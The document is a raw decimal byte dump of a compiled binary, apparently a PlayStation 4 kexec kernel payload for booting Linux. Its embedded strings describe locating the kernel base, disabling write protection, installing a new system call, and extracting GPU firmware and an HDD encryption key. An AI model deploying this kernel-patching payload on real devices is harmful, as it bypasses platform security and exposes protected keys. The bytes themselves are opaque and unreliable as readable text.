7,76,36,8,232,59,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,177,22,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,6,22,0,0,49,192,255,21,6,26,0,0,72,139,67,16,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,21,246,255,255,72,139,75,16,65,184,1,0,0,0,73,139,84,36,16,72,141,53,112,22,0,0,72,137,239,232,12,249,255,255,133,192,116,61,49,201,186,164,129,0,0,72,141,53,60,22,0,0,72,137,239,232,221,245,255,255,72,139,68,36,24,76,41,240,72,61,112,128,1,0,118,27,72,137,198,186,112,128,1,0,72,141,61,53,22,0,0,49,192,255,21,140,25,0,0,72,131,200,255,72,129,196,104,2,0,0,91,93,65,92,65,93,65,94,65,95,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,198,71,9,0,139,79,4,49,210,49,192,57,209,118,8,2,4,23,72,255,194,235,244,247,216,136,71,9,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,141,135,0,128,0,0,72,131,236,72,72,137,4,36,72,137,253,72,137,243,49,192,198,132,5,0,128,0,0,0,72,255,192,72,61,0,128,0,0,117,237,72,137,234,72,137,222,72,141,61,194,21,0,0,49,192,255,21,244,24,0,0,72,139,60,36,185,9,0,0,0,72,137,238,243,165,72,141,133,36,128,0,0,72,141,61,193,21,0,0,72,137,68,36,48,49,192,69,49,255,69,49,237,139,181,16,128,0,0,255,21,191,24,0,0,72,139,181,24,128,0,0,72,141,61,168,21,0,0,49,192,255,21,169,24,0,0,68,139,181,16,128,0,0,72,141,189,36,128,0,0,73,41,222,74,141,68,53,0,139,80,4,72,137,198,72,137,68,36,8,232,13,255,255,255,139,133,16,128,0,0,72,137,238,72,41,222,72,3,181,24,128,0,0,137,92,36,36,72,41,216,139,68,5,4,72,3,68,36,48,139,86,4,72,137,68,36,16,141,67,36,137,133,16,128,0,0,72,139,68,36,16,72,131,192,48,72,137,199,72,137,68,36,24,232,195,254,255,255,72,139,133,24,128,0,0,72,41,216,139,84,5,4,72,139,68,36,24,72,43,4,36,72,1,216,72,137,133,24,128,0,0,72,139,68,36,24,76,141,116,16,96,72,139,68,36,8,139,64,4,72,131,232,36,72,193,232,2,72,137,68,36,40,139,68,36,40,137,68,36,60,68,57,124,36,60,15,142,114,1,0,0,72,139,68,36,8,72,141,61,225,20,0,0,70,139,100,184,36,68,137,100,36,56,73,41,220,73,1,236,68,139,76,36,56,65,139,4,36,137,193,15,182,212,193,233,16,15,182,240,193,232,24,15,182,201,65,137,192,49,192,255,21,165,23,0,0,65,139,4,36,61,70,65,67,80,116,12,61,83,83,68,84,116,119,233,206,0,0,0,65,139,116,36,36,72,141,61,155,20,0,0,49,192,255,21,122,23,0,0,65,139,116,36,40,72,141,61,149,20,0,0,49,192,255,21,102,23,0,0,65,139,116,36,36,76,137,247,186,64,0,0,0,77,141,110,64,72,41,222,72,1,238,232,212,253,255,255,65,139,84,36,4,76,137,230,76,137,239,232,196,253,255,255,76,137,240,72,43,4,36,65,139,84,36,4,3,68,36,36,73,141,116,21,56,65,137,70,100,77,137,238,235,116,77,133,237,116,72,65,139,117,40,73,129,198,240,0,0,0,76,137,247,72,41,222,72,1,238,139,86,4,232,133,253,255,255,65,139,69,40,76,137,239,72,41,216,139,84,5,4,76,137,240,72,43,4,36,3,68,36,36,77,141,180,22,116,1,0,0,65,137,69,40,232,115,253,255,255,235,15,72,141,61,253,19,0,0,49,192,255,21,192,22,0,0,65,139,84,36,4,76,137,230,76,137,247,232,58,253,255,255,65,139,116,36,4,76,1,246,76,137,247,232,66,253,255,255,77,137,242,76,43,20,36,68,3,84,36,36,73,137,246,72,139,68,36,16,68,137,209,70,137,148,189,72,128,0,0,74,137,76,248,84,73,255,199,233,131,254,255,255,131,124,36,40,0,65,184,0,0,0,0,76,137,246,68,15,73,68,36,40,72,43,52,36,72,139,76,36,16,73,99,192,65,255,192,1,243,137,156,133,72,128,0,0,72,137,92,193,84,49,192,65,198,4,6,0,72,255,192,72,131,248,84,117,242,72,184,73,86,82,83,84,0,0,0,65,198,70,8,1,73,137,6,73,141,126,10,186,6,0,0,0,72,141,53,91,19,0,0,232,150,252,255,255,73,141,126,16,186,8,0,0,0,72,141,53,77,19,0,0,232,129,252,255,255,65,199,70,24,37,18,22,32,186,4,0,0,0,73,141,126,28,72,141,53,57,19,0,0,232,100,252,255,255,72,184,37,18,22,32,64,48,32,0,65,199,70,80,4,167,0,0,73,137,70,32,72,184,16,40,36,0,2,0,64,0,73,137,70,48,184,0,0,0,252,73,137,70,56,184,1,36,0,4,72,193,224,37,76,137,247,73,137,70,64,72,184,2,160,0,48,3,161,0,0,73,137,70,72,232,44,252,255,255,72,139,92,36,16,77,141,86,84,66,141,4,133,36,0,0,0,137,133,40,128,0,0,66,141,4,197,36,0,0,0,49,210,137,67,52,49,192,198,133,32,128,0,0,0,198,133,8,128,0,0,0,2,132,21,0,128,0,0,72,255,194,72,131,250,20,117,240,247,216,49,210,136,133,8,128,0,0,49,192,2,132,21,0,128,0,0,72,255,194,72,131,250,36,117,240,247,216,72,139,124,36,48,136,133,32,128,0,0,232,186,251,255,255,72,139,124,36,24,232,176,251,255,255,72,139,52,36,72,137,239,76,137,210,72,43,20,36,72,131,196,72,91,93,65,92,65,93,65,94,65,95,233,119,251,255,255,243,15,30,250,131,200,255,131,255,4,137,249,119,15,184,1,0,0,0,137,194,211,226,137,209,211,224,255,200,195,243,15,30,250,72,139,53,188,20,0,0,72,9,254,138,70,2,168,1,116,6,131,224,254,136,70,2,15,182,126,2,102,209,239,131,231,7,232,184,255,255,255,137,70,16,195,243,15,30,250,137,248,76,141,5,228,6,0,0,247,208,49,255,72,57,250,116,21,15,182,12,62,72,255,199,49,193,193,232,8,15,182,201,65,51,4,136,235,230,247,208,195,15,32,192,72,137,194,72,129,226,255,255,254,255,15,34,194,195,15,32,192,129,231,0,0,1,0,72,9,199,15,34,199,195,243,15,30,250,83,72,137,251,72,139,5,107,20,0,0,106,6,73,131,200,255,106,0,49,201,186,2,1,0,0,72,137,222,72,139,56,65,185,1,0,0,0,255,21,90,20,0,0,72,137,198,88,72,133,246,90,116,206,72,139,61,65,20,0,0,255,21,83,20,0,0,91,72,11,5,251,19,0,0,195,243,15,30,250,72,133,255,72,137,242,116,19,72,139,5,23,20,0,0,72,137,254,72,139,56,255,37,35,20,0,0,195,243,15,30,250,72,133,246,15,132,217,0,0,0,65,84,85,83,72,137,253,72,131,236,16,72,133,255,15,132,186,0,0,0,72,137,242,49,192,72,137,243,72,137,254,72,141,61,14,17,0,0,255,21,169,19,0,0,72,133,237,120,65,72,141,61,25,17,0,0,49,192,255,21,149,19,0,0,72,137,238,72,141,61,61,17,0,0,49,192,255,21,131,19,0,0,72,141,61,80,17,0,0,49,192,255,21,116,19,0,0,72,141,61,116,17,0,0,49,192,255,21,101,19,0,0,235,92,255,21,189,19,0,0,49,192,232,227,254,255,255,72,141,61,139,17,0,0,73,137,196,49,192,255,21,68,19,0,0,102,199,68,36,2,255,37,49,192,199,68,36,4,0,0,0,0,72,137,108,36,8,138,84,4,2,136,20,3,72,255,192,72,131,248,14,117,240,15,9,76,137,231,232,178,254,255,255,255,21,118,19,0,0,184,1,0,0,0,235,2,49,192,72,131,196,16,91,93,65,92,195,49,192,195,243,15,30,250,65,84,85,83,72,99,223,72,107,219,48,72,137,245,65,137,212,72,3,29,53,19,0,0,255,21,55,19,0,0,49,192,232,93,254,255,255,49,201,72,137,199,198,4,11,0,72,255,193,72,131,249,48,117,243,68,137,35,72,137,107,8,199,67,44,1,0,0,0,232,73,254,255,255,91,93,65,92,255,37,9,19,0,0,243,15,30,250,65,84,72,129,231,0,192,255,255,76,141,166,255,63,0,0,85,73,129,228,0,192,255,255,83,72,137,253,137,211,137,209,72,137,254,76,137,226,72,141,61,201,16,0,0,49,192,255,21,104,18,0,0,15,182,203,76,137,226,91,72,137,238,72,139,61,135,18,0,0,93,65,92,255,37,158,18,0,0,243,15,30,250,72,133,255,85,83,81,116,7,72,137,61,11,18,0,0,72,139,21,4,18,0,0,72,133,210,116,11,72,141,61,161,16,0,0,49,192,255,210,72,139,21,237,17,0,0,72,133,210,15,132,35,2,0,0,72,141,178,208,133,244,255,247,198,255,63,0,0,72,137,53,240,17,0,0,116,16,72,141,61,127,16,0,0,49,192,255,210,233,253,1,0,0,49,192,72,141,61,137,16,0,0,255,210,72,139,5,204,17,0,0,72,139,21,165,17,0,0,139,176,164,4,185,1,139,128,168,4,185,1,72,193,230,39,72,193,224,30,72,9,198,184,255,255,1,0,72,193,224,47,72,9,198,72,133,210,72,137,53,160,17,0,0,116,11,72,141,61,87,16,0,0,49,192,255,210,156,91,250,49,192,232,30,253,255,255,72,199,5,14,18,0,0,0,0,0,0,72,137,197,72,139,5,108,17,0,0,72,141,144,48,122,11,0,72,141,136,48,125,11,0,72,137,21,103,17,0,0,72,137,21,48,17,0,0,72,141,144,160,22,39,0,72,137,21,98,17,0,0,72,141,144,176,21,39,0,72,137,13,76,17,0,0,72,141,136,240,208,28,0,72,137,21,78,17,0,0,72,141,144,80,27,39,0,72,137,21,72,17,0,0,72,141,144,72,141,38,2,72,137,13,130,17,0,0,72,141,136,240,43,67,0,72,137,21,52,17,0,0,72,141,144,176,4,185,1,72,137,13,110,17,0,0,72,141,136,0,42,67,0,72,137,21,32,17,0,0,72,141,144,128,8,39,0,72,137,13,90,17,0,0,72,141,136,96,23,46,0,72,137,21,12,17,0,0,72,141,144,64,192,55,0,72,137,13,70,17,0,0,72,141,136,96,194,74,0,72,137,21,248,16,0,0,72,141,144,80,208,18,0,72,137,13,58,17,0,0,72,141,136,128,242,77,0,72,137,21,228,16,0,0,72,141,144,240,225,18,0,72,137,13,38,17,0,0,72,141,136,144,76,108,2,72,137,21,208,16,0,0,72,141,144,16,3,16,1,72,137,13,18,17,0,0,72,141,136,88,192,116,2,72,137,21,188,16,0,0,72,141,144,208,208,28,0,72,137,13,254,16,0,0,72,141,136,96,8,24,0,72,5,128,163,41,0,72,137,21,162,16,0,0,72,137,13,235,16,0,0,72,137,5,236,16,0,0,255,210,72,141,61,251,14,0,0,49,192,255,21,35,16,0,0,72,141,61,34,15,0,0,49,192,199,5,208,16,0,0,1,0,0,0,255,21,10,16,0,0,72,141,61,14,15,0,0,49,192,255,21,251,15,0,0,72,137,239,232,145,251,255,255,83,157,90,49,192,91,93,195,0,0,0,3,0,0,0,121,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,96,54,0,0,0,0,0,0,5,0,0,0,0,0,0,0,88,54,0,0,0,0,0,0,6,0,0,0,0,0,0,0,64,54,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,60,196,0,0,3,220,43,0,0,204,13,0,60,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,32,196,0,0,3,220,47,0,0,204,18,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,22,0,32,196,0,0,3,220,73,0,0,204,19,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,32,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,24,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,0,0,0,150,48,7,119,44,97,14,238,186,81,9,153,25,196,109,7,143,244,106,112,53,165,99,233,163,149,100,158,50,136,219,14,164,184,220,121,30,233,213,224,136,217,210,151,43,76,182,9,189,124,177,126,7,45,184,231,145,29,191,144,100,16,183,29,242,32,176,106,72,113,185,243,222,65,190,132,125,212,218,26,235,228,221,109,81,181,212,244,199,133,211,131,86,152,108,19,192,168,107,100,122,249,98,253,236,201,101,138,79,92,1,20,217,108,6,99,99,61,15,250,245,13,8,141,200,32,110,59,94,16,105,76,228,65,96,213,114,113,103,162,209,228,3,60,71,212,4,75,253,133,13,210,107,181,10,165,250,168,181,53,108,152,178,66,214,201,187,219,64,249,188,172,227,108,216,50,117,92,223,69,207,13,214,220,89,61,209,171,172,48,217,38,58,0,222,81,128,81,215,200,22,97,208,191,181,244,180,33,35,196,179,86,153,149,186,207,15,165,189,184,158,184,2,40,8,136,5,95,178,217,12,198,36,233,11,177,135,124,111,47,17,76,104,88,171,29,97,193,61,45,102,182,144,65,220,118,6,113,219,1,188,32,210,152,42,16,213,239,137,133,177,113,31,181,182,6,165,228,191,159,51,212,184,232,162,201,7,120,52,249,0,15,142,168,9,150,24,152,14,225,187,13,106,127,45,61,109,8,151,108,100,145,1,92,99,230,244,81,107,107,98,97,108,28,216,48,101,133,78,0,98,242,237,149,6,108,123,165,1,27,193,244,8,130,87,196,15,245,198,217,176,101,80,233,183,18,234,184,190,139,124,136,185,252,223,29,221,98,73,45,218,21,243,124,211,140,101,76,212,251,88,97,178,77,206,81,181,58,116,0,188,163,226,48,187,212,65,165,223,74,215,149,216,61,109,196,209,164,251,244,214,211,106,233,105,67,252,217,110,52,70,136,103,173,208,184,96,218,115,45,4,68,229,29,3,51,95,76,10,170,201,124,13,221,60,113,5,80,170,65,2,39,16,16,11,190,134,32,12,201,37,181,104,87,179,133,111,32,9,212,102,185,159,228,97,206,14,249,222,94,152,201,217,41,34,152,208,176,180,168,215,199,23,61,179,89,129,13,180,46,59,92,189,183,173,108,186,192,32,131,184,237,182,179,191,154,12,226,182,3,154,210,177,116,57,71,213,234,175,119,210,157,21,38,219,4,131,22,220,115,18,11,99,227,132,59,100,148,62,106,109,13,168,90,106,122,11,207,14,228,157,255,9,147,39,174,0,10,177,158,7,125,68,147,15,240,210,163,8,135,104,242,1,30,254,194,6,105,93,87,98,247,203,103,101,128,113,54,108,25,231,6,107,110,118,27,212,254,224,43,211,137,90,122,218,16,204,74,221,103,111,223,185,249,249,239,190,142,67,190,183,23,213,142,176,96,232,163,214,214,126,147,209,161,196,194,216,56,82,242,223,79,241,103,187,209,103,87,188,166,221,6,181,63,75,54,178,72,218,43,13,216,76,27,10,175,246,74,3,54,96,122,4,65,195,239,96,223,85,223,103,168,239,142,110,49,121,190,105,70,140,179,97,203,26,131,102,188,160,210,111,37,54,226,104,82,149,119,12,204,3,71,11,187,185,22,2,34,47,38,5,85,190,59,186,197,40,11,189,178,146,90,180,43,4,106,179,92,167,255,215,194,49,207,208,181,139,158,217,44,29,174,222,91,176,194,100,155,38,242,99,236,156,163,106,117,10,147,109,2,169,6,9,156,63,54,14,235,133,103,7,114,19,87,0,5,130,74,191,149,20,122,184,226,174,43,177,123,56,27,182,12,155,142,210,146,13,190,213,229,183,239,220,124,33,223,219,11,212,210,211,134,66,226,212,241,248,179,221,104,110,131,218,31,205,22,190,129,91,38,185,246,225,119,176,111,119,71,183,24,230,90,8,136,112,106,15,255,202,59,6,102,92,11,1,17,255,158,101,143,105,174,98,248,211,255,107,97,69,207,108,22,120,226,10,160,238,210,13,215,84,131,4,78,194,179,3,57,97,38,103,167,247,22,96,208,77,71,105,73,219,119,110,62,74,106,209,174,220,90,214,217,102,11,223,64,240,59,216,55,83,174,188,169,197,158,187,222,127,207,178,71,233,255,181,48,28,242,189,189,138,194,186,202,48,147,179,83,166,163,180,36,5,54,208,186,147,6,215,205,41,87,222,84,191,103,217,35,46,122,102,179,184,74,97,196,2,27,104,93,148,43,111,42,55,190,11,180,161,142,12,195,27,223,5,90,141,239,2,45,115,121,115,95,107,101,120,101,99,32,105,110,118,111,107,101,100,10,0,115,121,115,95,107,101,120,101,99,40,37,112,44,32,37,122,117,44,32,37,112,44,32,37,122,117,44,32,34,37,115,34,41,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,101,120,116,114,97,99,116,32,71,80,85,32,102,105,114,109,119,97,114,101,32,45,32,99,111,110,116,105,110,117,105,110,103,32,97,110,121,119,97,121,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,99,109,100,108,105,110,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,99,109,100,108,105,110,101,10,0,10,107,101,120,101,99,32,112,97,114,97,109,101,116,101,114,115,58,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,115,105,122,101,58,32,32,32,37,122,117,32,98,121,116,101,115,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,115,105,122,101,58,32,32,32,32,32,32,37,122,117,32,98,121,116,101,115,32,40,37,122,117,32,102,114,111,109,32,117,115,101,114,41,10,0,32,32,32,32,75,101,114,110,101,108,32,99,111,109,109,97,110,100,32,108,105,110,101,58,32,37,115,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,98,117,102,102,101,114,58,32,37,112,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,98,117,102,102,101,114,58,32,32,32,32,37,112,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,98,112,10,0,70,97,105,108,101,100,32,116,111,32,105,110,115,116,97,108,108,32,115,104,117,116,100,111,119,110,32,104,111,111,107,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,0,107,101,120,101,99,32,115,117,99,99,101,115,115,102,117,108,108,121,32,97,114,109,101,100,46,32,80,108,101,97,115,101,32,115,104,117,116,32,100,111,119,110,32,116,104,101,32,115,121,115,116,101,109,46,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,10,0,73,110,115,116,97,108,108,105,110,103,32,115,121,115,95,107,101,120,101,99,32,116,111,32,115,121,115,116,101,109,32,99,97,108,108,32,35,37,100,10,0,107,101,120,101,99,95,105,110,105,116,40,41,32,115,117,99,99,101,115,115,102,117,108,10,10,0,107,101,120,101,99,58,32,87,97,105,116,105,110,103,32,102,111,114,32,115,101,99,111,110,100,97,114,121,32,67,80,85,115,46,46,46,10,0,107,101,120,101,99,58,32,83,101,99,111,110,100,97,114,121,32,67,80,85,115,32,113,117,105,101,115,99,101,100,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,71,68,84,46,46,46,10,0,107,101,120,101,99,58,32,82,101,108,111,99,97,116,105,110,103,32,115,116,117,98,46,46,46,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,98,111,111,116,32,112,97,114,97,109,115,46,46,46,10,0,107,101,120,101,99,58,32,67,108,101,97,110,105,110,103,32,117,112,32,104,97,114,100,119,97,114,101,46,46,46,10,0,107,101,120,101,99,58,32,82,101,99,111,110,102,105,103,117,114,105,110,103,32,86,82,65,77,46,46,46,10,0,107,101,120,101,99,58,32,82,101,115,101,116,116,105,110,103,32,71,80,85,46,46,46,10,0,107,101,120,101,99,58,32,65,98,111,117,116,32,116,111,32,114,101,108,111,99,97,116,101,32,97,110,100,32,106,117,109,112,32,116,111,32,107,101,114,110,101,108,10,0,107,101,120,101,99,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,32,99,97,108,108,101,100,10,0,65,67,80,73,32,116,97,98,108,101,115,32,102,105,120,101,100,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,78,79,80,32,104,97,110,100,108,101,114,32,97,116,32,48,120,37,120,10,0,48,55,48,55,48,49,0,67,111,112,121,105,110,103,32,37,115,32,102,105,114,109,119,97,114,101,10,0,99,111,112,121,95,102,105,114,109,119,97,114,101,58,32,37,115,58,32,101,120,112,101,99,116,101,100,32,115,105,122,101,32,37,100,44,32,103,111,116,32,37,100,10,0,108,105,118,101,114,112,111,111,108,0,103,108,97,100,105,117,115,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,67,111,117,108,100,32,110,111,116,32,108,111,99,97,116,101,32,102,105,114,109,119,97,114,101,32,116,97,98,108,101,0,107,101,121,0,107,101,121,47,101,97,112,95,104,100,100,95,107,101,121,46,98,105,110,0,108,105,98,0,108,105,98,47,102,105,114,109,119,97,114,101,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,47,109,121,95,101,100,105,100,46,98,105,110,0,97,109,100,103,112,117,0,108,105,98,47,102,105,114,109,119,97,114,101,47,37,115,47,0,37,115,37,115,95,112,102,112,46,98,105,110,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,69,120,116,114,97,99,116,32,37,115,32,10,0,80,70,80,0,37,115,37,115,95,109,101,46,98,105,110,0,77,69,0,37,115,37,115,95,99,101,46,98,105,110,0,67,69,0,37,115,37,115,95,109,101,99,46,98,105,110,0,77,69,67,0,37,115,37,115,95,109,101,99,50,46,98,105,110,0,77,69,67,50,0,37,115,37,115,95,114,108,99,46,98,105,110,0,82,76,67,0,37,115,37,115,95,115,100,109,97,46,98,105,110,0,83,68,77,65,0,84,82,65,73,76,69,82,33,33,33,0,37,115,37,115,95,115,100,109,97,49,46,98,105,110,0,83,68,77,65,49,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,111,118,101,114,102,108,111,119,33,32,37,100,32,62,32,37,100,10,0,70,105,120,105,110,103,32,65,67,80,73,32,116,97,98,108,101,115,32,97,116,32,48,120,37,108,108,120,32,40,37,112,41,10,0,82,83,68,84,32,97,116,32,48,120,37,120,10,0,88,83,68,84,32,97,116,32,48,120,37,108,108,120,10,0,37,99,37,99,37,99,37,99,32,97,116,32,48,120,37,120,10,0,70,65,67,83,32,97,116,32,48,120,37,120,10,0,68,83,68,84,32,97,116,32,48,120,37,120,10,0,69,82,82,79,82,58,32,110,111,32,70,65,68,84,32,121,101,116,63,10,0,70,48,70,32,32,32,0,80,83,52,75,69,88,69,67,0,75,69,88,67,0,107,101,114,110,101,108,95,104,111,111,107,95,105,110,115,116,97,108,108,40,37,112,44,32,37,112,41,10,0,10,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,32,87,65,82,78,73,78,71,32,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,10,0,104,111,111,107,32,116,97,114,103,101,116,32,102,117,110,99,116,105,111,110,32,97,100,100,114,101,115,115,58,32,37,112,10,0,73,116,32,108,111,111,107,115,32,108,105,107,101,32,119,101,39,114,101,32,114,117,110,110,105,110,103,32,102,114,111,109,32,117,115,101,114,108,97,110,100,32,109,101,109,111,114,121,46,10,0,80,108,101,97,115,101,32,114,117,110,32,116,104,105,115,32,99,111,100,101,32,102,114,111,109,32,97,32,107,101,114,110,101,108,32,109,101,109,111,114,121,32,109,97,112,112,105,110,103,46,10,10,0,32,32,85,115,105,110,103,32,54,52,98,105,116,32,97,98,115,111,108,117,116,101,32,106,117,109,112,10,0,112,109,97,112,95,112,114,111,116,101,99,116,40,112,109,97,112,44,32,37,112,44,32,37,112,44,32,37,100,41,10,0,107,101,114,110,101,108,95,105,110,105,116,40,41,10,0,75,101,114,110,101,108,32,98,97,115,101,32,105,115,32,110,111,116,32,97,108,105,103,110,101,100,10,0,75,101,114,110,101,108,32,98,97,115,101,32,61,32,37,108,108,120,10,0,68,105,114,101,99,116,32,109,97,112,32,98,97,115,101,32,61,32,37,108,108,120,10,0,84,101,115,116,105,110,103,32,103,108,111,98,97,108,32,118,97,114,105,97,98,108,101,32,97,99,99,101,115,115,32,40,119,114,105,116,101,32,112,114,111,116,101,99,116,105,111,110,41,46,46,46,10,0,79,75,46,10,0,75,101,114,110,101,108,32,105,110,116,101,114,102,97,99,101,32,105,110,105,116,105,97,108,105,122,101,100,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,239,190,173,222,243,15,30,250,85,72,137,229,199,69,252,130,0,0,192,139,69,252,137,193,15,50,137,69,248,137,85,244,139,69,244,72,193,224,32,72,137,194,139,69,248,72,9,208,93,195,243,15,30,250,85,72,137,229,72,131,236,48,232,193,255,255,255,72,45,192,1,0,0,72,137,69,240,72,139,69,240,72,5,48,122,11,0,72,137,69,232,72,139,69,240,72,5,112,190,55,0,72,137,69,224,72,139,69,240,72,5,72,141,38,2,72,137,69,216,72,139,85,224,72,141,13,130,255,255,255,72,141,5,163,199,255,255,72,41,193,72,137,200,72,137,193,72,139,69,216,72,139,0,72,137,206,72,137,199,255,210,72,137,69,208,199,69,252,0,0,0,0,235,35,139,69,252,72,99,208,72,139,69,208,72,1,194,139,69,252,72,152,72,141,13,101,199,255,255,15,182,4,8,136,2,131,69,252,1,139,69,252,72,152,72,141,21,79,199,255,255,72,1,194,72,141,5,29,255,255,255,72,57,194,117,194,72,139,85,208,72,139,69,232,190,0,0,0,0,72,137,199,255,210,144,201,195,73,137,202,72,199,192,153,0,0,0,15,5,195,243,15,30,250,85,72,137,229,72,131,236,64,72,137,125,216,72,137,117,208,72,137,85,200,72,139,69,216,190,0,0,0,0,72,137,199,184,0,0,0,0,232,198,197,255,255,137,69,236,131,125,236,0,121,10,184,255,255,255,255,233,200,0,0,0,139,69,236,186,2,0,0,0,190,0,0,0,0,137,199,232,55,198,255,255,72,137,194,72,139,69,200,72,137,16,72,139,69,200,72,139,0,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,72,137,198,191,0,0,0,0,232,240,197,255,255,72,139,85,208,72,137,2,72,139,69,208,72,139,0,72,137,69,248,72,139,69,200,72,139,0,72,137,69,240,139,69,236,186,0,0,0,0,190,0,0,0,0,137,199,232,210,197,255,255,235,55,72,139,85,240,72,139,77,248,139,69,236,72,137,206,137,199,232,16,197,255,255,72,137,69,224,72,131,125,224,0,117,7,184,255,255,255,255,235,38,72,139,69,224,72,1,69,248,72,139,69,224,72,41,69,240,72,131,125,240,0,117,194,139,69,236,137,199,232,3,197,255,255,184,0,0,0,0,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,190,0,0,0,0,72,141,61,138,19,0,0,232,20,197,255,255,72,141,61,143,19,0,0,232,103,197,255,255,137,69,